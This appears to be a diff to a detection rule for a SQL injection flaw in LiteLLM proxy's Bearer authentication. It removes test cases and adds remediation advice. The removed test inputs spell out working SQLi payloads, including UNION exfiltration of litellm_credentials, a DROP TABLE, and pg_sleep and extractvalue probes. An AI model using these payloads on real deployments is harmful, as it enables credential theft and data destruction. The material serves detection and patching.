-test_cases:
-  true_positives:
-    - input: "Authorization: Bearer sk-1234' OR 1=1 -- "
-      expected: triggered
-      description: "Canonical tautology SQLi in the Bearer token — CISA KEV CVE-2026-42208 pre-auth exploit shape"
-    - input: "authorization: bearer x'; DROP TABLE LiteLLM_VerificationToken -- "
-      expected: triggered
-      description: "Stacked DROP TABLE injected via the Bearer value"
-    - input: "Authorization: Bearer foo' UNION ALL SELECT credential_values FROM litellm_credentials -- "
-      expected: triggered
-      description: "UNION-based exfil of litellm_credentials via the Bearer header"
-    - input: "Authorization: Bearer x' AND pg_sleep(5)-- "
-      expected: triggered
-      description: "Time-based blind SQLi via pg_sleep in the Bearer token"
-    - input: "Bearer sk-abc' UNION SELECT k FROM litellm_config --"
-      expected: triggered
-      description: "Bearer value referencing a LiteLLM backend table in a UNION exfil"
-    - input: "Authorization: Bearer 1' AND (SELECT 1 FROM information_schema.tables)-- "
-      expected: triggered
-      description: "Recon stage probing Postgres metadata via the Bearer header"
-    - input: "Authorization: Bearer a' AND extractvalue(1,concat(0x7e,(SELECT version())))-- "
-      expected: triggered
-      description: "Error-based SQLi using extractvalue in the Bearer token"
-  true_negatives:
-    - input: "LiteLLM 1.83.7 release notes: parameterised query replaces concat in the API-key verification path. Mitigates CVE-2026-42208 (CISA KEV)."
-      expected: not_triggered
-      description: "Patch changelog mentioning the CVE should not trigger"
-    - input: "CISA added CVE-2026-42208 to the KEV catalog on 2026-05-08; the injection is in the Authorization Bearer header."
-      expected: not_triggered
-      description: "Defensive awareness post describing the CVE should not trigger"
-    - input: "Authorization: Bearer sk-proj-abc123def456ghi789"
-      expected: not_triggered
-      description: "Benign Bearer token with no SQLi payload"
-    - input: 'curl -H "Authorization: Bearer $LITELLM_KEY" -X POST /chat/completions'
-      expected: not_triggered
-      description: "Standard authenticated request with a normal Bearer token"
-    - input: "Use the Authorization header with a Bearer token to call any LiteLLM route."
-      expected: not_triggered
-      description: "API documentation describing Bearer auth"
-    - input: 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9'
-      expected: not_triggered
-      description: "Realistic JWT-style Bearer token with no injection content"
+remediation: |
+  Upgrade LiteLLM proxy to >= 1.83.7 immediately — CISA KEV listing means active exploitation is occurring in the wild (first hit observed ~26 hours after advisory publication). Rotate every upstream provider API key and credential the proxy database has held since deployment — the injection targets `litellm_credentials` / `litellm_config`, so assume provider keys are compromised. Audit Postgres logs for queries against `LiteLLM_VerificationToken`, `litellm_credentials`, and `litellm_config` originating from the proxy service account. The fix replaces string-concatenated SQL in the API-key verification path with parameterised queries. If a patch window is unavailable, place the proxy behind a reverse proxy that rejects any `Authorization` header value containing a single quote, parenthesis, or SQL keyword (UNION, SELECT, OR, --).